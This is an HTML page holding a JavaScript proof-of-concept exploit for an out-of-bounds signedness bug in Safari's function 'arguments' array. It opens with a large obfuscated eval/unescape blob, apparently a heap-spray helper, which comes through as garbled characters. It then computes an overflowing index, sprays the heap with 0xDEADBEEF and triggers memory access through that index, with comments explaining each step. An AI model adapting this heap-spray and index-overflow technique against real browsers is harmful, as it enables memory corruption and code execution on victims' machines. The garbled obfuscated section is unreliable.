<BODY>
<CODE id="sploit status"></CODE>
<CODE id="heapspray status"></CODE>
<SCRIPT>
i=0;eval(unescape(("g??#M??????#??g#?‰?????…@?…?‘?…?…?…???…?‰?…????@g?‘??@???‘??????#???????…??????g???????‰??????????????M??N????M@M?‘M??M#M??M?…M??MgM??M?‰M??M??M??MMMNM??N@N?‘N??N#N??N?…N??NgN??N?‰N??N??N??NMNNN????@???‘??????#???????…??????g???????‰??????????????M??N????????#??????#M????M??g??g?‰g@???…????????????Ng???‰#M????Ng#MN??#??N??#M???????…??@M#?…??????g?????????…N#M?????‘???????‰???…#M?￡?‘#??M?????‘g?????‰g??#M#??#??#
??g #
#M Ng??N??#??Q?? ??
???? ????g?????…????g?????‰#??M??g#N @
#?? ???…???‰g##M??N????gg??@???‘g??g?????‘g?‰ ??
???? ?…??Mg#N@????#?‘???‰??N????????M???????…??????#@?? ??
???? g##??NMg??g?…g???? N??@g##??gM#????g???? ?…@#Mg???…?????? ??M?…#?? ?‰
???… ??@#g??@??N?…????@#?…??N#?‘????N?‘#???? g#?‘??#??#gMM?…?? M?…#???‰???… ??@#g??@??N?… ??
??@ #????N#??????N?‘#????g##??#??#gMNN#?…??N#?‘???? NN#????N#??????g M#???????… ?…???? ????#??????g?????????… ??
??g #N#M???￡Mg??#??g??#??N?‘????#@????#@????#@???????????‘???‰ g##Mg##??g## ??g??gM?? ??????#M?? ?…?￡?????…#???…???????…???…?? #
@?… ????????????g#MN?‘#????#??#?????…??#MN?‘#????#??##???…??#MN?‘?￡@ #?‘??##??#?????? Mg#M?? ???|?‘????g#???…?? ?????‰?…?‰????#M# ??g??#??#?? ??
???? ?‰?…?‘????#M#?????????‰?…?‘N???…#???‰g?????…#M?￡??????M?‘#M??Ng?…?????????? ??g#??????????g#M ?…???????… ??????????g#?…#M?? #M?…???????… ??
???? ????M??#M??Ng?…????????#?????‰???? ??????#????g????????M???…M??g?????? ???????????‰NM?????? ??g??M@ g?????????? ??
M?… #???‰???…??@?…???…???????????? ?‰????g???????…??????g#???‰?? ????N????M@?????…#?? ???????| ?‘g?????‰ ??
?‰?? ??g??????????????g@?????? ?‘M??g??????????M?…????#?‘ ????#??????#?￡????#?…????# ??????#?? ????#??g ??
???? ?…???…???????????…gM???? ??????ggg#??@?????…???… N#???…M???????‰????????M?…????#?‘???? #????N# M???‰??N ??
@?? @g??#???…@#M??g?? ???…@?…????N?…M#??M???… @???‰????????g??????g#N???? @M???? @?…@???‰g ?????…?… ??
g# N???…M#M?…@?…??g#N ???…Mg?‘M?????????????‘N#M M?￡M??N???…gg??@?? ???…?…?? ???…????????M?? N?????? ??
?…?… ??N???￡???‘???????????? ??M??N?????…?????…???‰????#??MM??N?????… ?????…#Mg?????… #??MM?? N?????????…?…?￡ M????# ??
g# ???…g???…?????‰??M???… ????g?…g??????MM???????‘MNN ?‰?????????? gM???? ??N#??#g #???? ??
???? g????#M??#g#?…#M ??N?‰g#M??????????M NN?‰g #M??M ??????N# ??#g# ?…
#M ??#M????M???…???…??g ????????gM?…N?… N ?…N?…N ?…????M??#????????gM?… ???????? g
??# ????????N#???????…??# N?…??????#?? M???? #M?‘?? ?‰??# M?‘ ??NM????N?????????…????M????#M?? #g# ??
???? ????g??????#g#?…#M ??#??gM N?‰g#g?? g??M?? ??g???????‰ ????????M?????????????‘N #????#MN???? ?￡???… ??
?‰?? ?????????‘????????N@?? ?‰#???? ??#M?…???????…?? ?? ??#???? ??#MN????#???? ???‰????????N?????????? ??g???????? ????#?‘???‰ ????N?? ??
???? ????g????#?????‰???‰# ???? ??????g????????g#M ????#???? g#N# M#??#????g??M??M N#????????#M ????#??M?? ????????N??g@????gg???? #?????? ??
g?? ?‰???‰????????#M????# ??gMNMg??g?…g????N?? @????????#@ ???????‘ MN????g#?? ??M??????N# ??#M??# M????#???? ?‘?…#????M???? g??@?? ??
g?? ??????M??@???…??#??g #?‰??N??@g????????@???…M ??#?‰??N??N???? #?????‘ ?…???…??g?? ???‘g#g# g?…??MM ????g?? @???‘???????? NMg #
g# ??@g??????g?????‰?? ?????‰??????Ng#??@???? ???????? g?…g@??@g???? ????@?? ?…??#?…??# ?‰???‘??@?? ?￡???‘g?… g#?? ?…???????????? g?‰?? @
???? g?????‘??g??M?? ?…??Ng?????????‰?????? N????g@N Mg@???‘NM?? ??????# ?‘MNN?‰ g@NMg@ ???‘NM ????M?? N#????#M ??#?… ??
?…?? g#g??g??M?? ??g???????‰?????????? ????#???????? M?‰?? ?‰#??????????g ???????? ?‘????M???? @??#??Q?? ?‰g#N #???? #M?? N????gg?? @M#?????? ?‘???‰ #
??M ?????????…#??# M?￡M#?‘???‰g?????? g??????gg ??@??N?? ?…gg??@???… g??g?? ????g???? ???…?????? ???????? ???|g#?? ?…g?? g#??@???? ???????????￡??@g#??@??M g
?…g #g????@?????? ?…???????…g?????… ??N???????? ????????g?…?? N??????@?? @????# ?‰???????? ????#?????? ?|??g?? ??????????@ M????@g# ?…?????‘?…MN #???‰#Mg# ?…
???? ?‘?…M?…?????? ?…M#?????‘?…???… ??g?????‰ ??Ng#????g?? ???…?????? Mg#???? ??@??# ??????@?? ????@?? ?????????|g#???…g???? @???…??????N?? ??#?‘?￡ ??????#???? ?‰
??N #????@??@ ??????N??N????# ??????#M ????????#@?????? ??????#N #N#?‘?? ?‰???‰???? ???‰?????? ???????? ?????? #N#N#?‘???‰???????‰N@???‰ #??M?? ????N@ #NM ?‰
N# ???‰???…g?? ??#????g#g# #M????N @??MM?‰#?????? #M?????? ??M?‰?? ?‰?????? ?????????‰ ???…g ????#?? ??g#g#???? M?‰M NgMg M
N?? #???￡???????? @??????#??????@??????#???? ???‰g##???…???? ????@g g???‰g ???????? @M??g# ????g ?????… ???? ??@???￡ ??@g# M
???… ????????????N?? N????????g#???‰#M?????? ?????‘g#?…?‰#M ?…???…M ???????‰?? ?‰g# #M?￡@ ?????? ??#M# ?????? ???‰?? g#M?? #
??g g?‘ ??????#?…???…???? #NM???????…?????…?‘????#?‘ MNN?‰??#NM?? ?????…?? ???…?‘M?? N# M?? ??#g #???‰N @#???… ?????? #??N#?? #
g# ???‰????#M ??#g#???‰g?‘?? ????M????#?‘MN???…????g#???… g??N?????…?…?? #?‰?? ?‘??@?? ????# ??????@?? ???|??g?? ??Mg #????M?? ??
g?? ??g#?????…?‰????# ?‘MNgMN?‰g#?? ???…?‰M??N #M????#Mg #????N??g#N#MM?? ??M???￡?… ??#?? ??N??g#??#M M????????#?…?? N#N ??#M???? ??
N?… ?‰??????????N?…?‘???????‰???? #??#?????‰N?????? ??@#M?????? N?…?‘N???… #???‰g?????… ???‰????# ??#??g# ??g# M??#Mg#??N????M??#?…???? ?‰#?‰# ??N???????? #
?…?? ???‰#?‰???????‘g#?…?‰?…??g#??g?…M #Mg#??g??????# g#???‰???? N??????g# ??gN@ ?????…???? ??#????M????N?????????‰N????????@???‰??Mg#??g N@?? ?‰???????‰???‰g#?????????? ???????? ??#M?…?? ??
???? ?‰??g????#M??#Mg#????M ?…??#???…??N?‰g# M???????…?? ?????…???…??g ?????‘ ??????#?? ?????…??????@??@??N???‰g#??N??M??????#????g#??@??????@??#??????N?????? ?‰???‘ ???‰??@g????????@g #?????? @gN???…?? #
??g #?‰??N??M???…??????N?? g??????#?…?????‰#?‰ ??N????g #?????…?‰????# ?‘MN ???…????g#???…g?????‘??#???????????????… ???￡g??M????g??@??g?? ?‘g?? ??????????g???… ?? ??#??M?? g??g?‰g@ ??
?…?? ??????????N?????‰???‘?? ??N?????????‰#??M?? ggM???? ??????gg??N?? g??# ???‰ggM??????????gg??N??g ??#???????‰#???? ?‘?…?‰??@g#?????? @???? ?? ????N???…?? N????????M?? ??
???? ??????MN#??gMgM?? #g?????…??N??g???‘ ????????N Mg#g##?‰??N ????# ?‘?￡??????#?????‰?????? ??#??g??#g??????g#?‘??#?? #M?…MgM?? g?? g??g?…???…M ?…???‰?…?‰???? M
??# @M?…???‰?…?‘????M??# @gM?…@?????…#g?‰g #g???? ?…??M?…?￡g@???…?? ?￡???‰ ???????‰???￡N??g #?…?‘?…?￡g??g??M????g?…?…g?…??N?? #g?? ???‰??????N?… ?????‰ ?…??????g?????‰???‘?? N???￡???…?…?‰?? ??
???… ????g@?…????N??????# ?????…#???‰g?????…?? ????????M g@??????N???…??N g??g?‘ ????g#???… g???…?????‰??M???…????g?…g????@???…??N?? gg?? ???????‘??#?…?? ?…???????? ????g?????…?????????????????…???????????? ?…
#?? ?‰g?????…??##??#??# ??????g@g?????‘g?‰ ???…#@ g????@?????…?????????‰ ??g???‰ ?…#g ?????‘g?? g????g??????Ng#g?…?? ??g#g ??g?????????‰?…?‰?? ????#?????????? ?…g??????#????#????#M??N????g?? ??
?‰?? g????????g????Ng?…g# ???????‘??g???…??Ng?? M?????? ??M???‘g????gg?…??M???…??Ng ??g#?? N??#??Q ???????????…???…??N???? ?…?????? ???????‰????g?‰g?????…g#???‘??????#?????? ?…????M@?…???…???????…???…?? ??
???? ?????‰????M?‘????????g?…g?? g@g?…g?????…???????… ??M???? ??Ng??M?????‰???????? M#??N g?…??M?? ??????M???…??????#??M?… ?????…??????M ????N?…?????‘g????g???…g????gMg ?????…?????…g?? ??
??g #???…M??g??????g?…g#M?‰#@g??# ?‘??##??????#??M?????‰??NM?? #M???? ???…????M???? ?????????? ??N?? ?…???????‘??N????????????MM?????…gg???? ?‘g@g@????MN???‰#??gM M
???? NNMg@???????‘???￡???…????????N@??N??????@N?‘#??g??#@N????M?? ?????? ??N N#???‰ g??N???…#???…g??g??M????gN?…?? ????N????g#g@#?? N
???? ?‘?…???…??g????#NM???????…??????@??????N???… ??@Ng M#?…?? ?????????????…???????…?‘N?? M#??Ng@g???? ??
g?? ????g??g?‰g@???…??N g???? ???…?‘N?‰ ?????…???…??N ?????‰???? ??
?…?? ?????????? ?????? @
N?? ?…???????? ?… ??
N?? g#?‰??Ng N
???… ??????N??g N
???? #?????????? ??
???… ???￡g????g?? ?‘
g?? ??????????g???… N
Mg ?????…NNM?…?…# ??
???? ???|?‘g?????‰????## ??
@?? N?…????@N?????????? ????g????????@?…?????? ??
???? ?‘??N??@????g?‰g?????…g#??????N????g ?‘??????#?…???…????#?????????? #
???? #M?…??????g?…?? N???????…????m?????…???????????…???????‰g#????M??g???…????????gM????g ??
#?? #M?…?… ??M??N?‘?????…?‰?…#???????‰g#??#????????g#???????‘???￡ ??
???? gg ??????g?…??N??????????N???????????‘g????M ??
@?? ?? ???…????g@??@??N??#???‰?? ??
g?? ??
???…?‘????????#??????????g????????#?￡M#g#???￡????#??M??M?￡??????#M????g??#M??????Ng#g@???????‰g??????g????N??#????????g?????‘g????????#???‰???‰???‰??N???????????‰??N????g????Ng@????g@???????‰???‰???‰#?????…g?????????????????????‰#????????????M??#????#??#?￡?…??#?‘").replace(/./g,function(c){return" `'^*\/|-_.swdibYPW,".indexOf(c)<0?(i++%2?'':'%')+(c.charCodeAt()&15).toString(16):''})))
// The index for the "arguments" array in a JavaScript function in
// Safari suffers from a signedness issue that allows access to elements
// that are out of bounds. The index is cast to a signed value before it
// is compared to the length of the array to check if it within the
// bounds. Integer values larger than 0x8000,0000 will be cast to a
// negative value and because they are always smaller then the length,
// they are treated as a valid index.
// The index into the arguments array ends up in instructions
// that multiply it by 4 to access data in an array of 32 bit values.
// There are no checks for overflows in this calculation. This allows us
// to cause it to access anything in memory:
// Pointer to object = base address + 4 * index
// The base address varies only slightly and is normally about
// 0x7FEx,xxxx. If we create a heap chunk of 0x0100,0000 bytes at a
// predictable location using heap spraying, we can then calculate an
// index that will access this memory.
var iBase = 0x7fe91e6c; // Random sample - value varies but not a lot.
var iTargetArea = 0x10000000;
// Be advised that heap spraying is "upside down" in Safari: strings
// are allocated at high addresses first and as the heap grows, the
// addresses go down. The heap will therefor grow in between a lot of
// DLLs which reside in this area of the address space as well.
// We'll need to find an area of memory to spray that is not likely to
// contain a DLL and easy to reach.
var iTargetAddress = 0x55555555;
// iTargetAddress(~0x5555,5555) = iBase(~0x7FEx,xxxx) + 4 * iIndex
// 4 * iIndex = (iTargetAddress - iBase) (optionally + 0x1,0000,0000 because an integer overflow is needed)
var iRequiredMultiplicationResult = iTargetAddress - iBase + (iTargetAddress < iBase ? 0x100000000 : 0)
// iIndex = (iTargetAddress - iBase) / 4
var iIndex = Math.floor(iRequiredMultiplicationResult / 4)
// We need to trigger the signedness issue so the index must be larger
// then 0x8000,0000. Because of the integer overflow in the
// multiplication, we can safely add 0x4000,0000 as often as we want;
// the multiplication will remove it from the result.
while (iIndex < 0x80000000) iIndex += 0x40000000
document.getElementById("sploit status").innerHTML = (
"iBase + 4 * iIndex = " +
"0x" + iBase.toString(16, 8) + " + 4 * " + iIndex.toString(16, 8) + " = " +
"0x" + (iBase + 4 * iIndex).toString(16, 8) + "<BR>"
);
// Set up heap spray
var oHeapSpray = new HeapSpray2(iTargetAddress, DWORD(0xDEADBEEF))
oHeapSpray.oOutputElement = document.getElementById("heapspray status")
// Spray heap asynchronously and call sploit when done.
oHeapSpray.spray(sploit)
function sploit(oHeapSpray) {
// This will cause an access violation using the value 0xDEADBEEF,
// which comes from the strings we sprayed the heap with.
// 6aa3d57f 8b4f0c mov ecx,dword ptr [edi+0Ch] ds:0023:deadbefb=????????
arguments[iIndex];
}
function DWORD(iValue) {
return String.fromCharCode(iValue & 0xFFFF, iValue >> 16)
}
</SCRIPT>
</BODY>
# www.Syue.com [2009-01-05]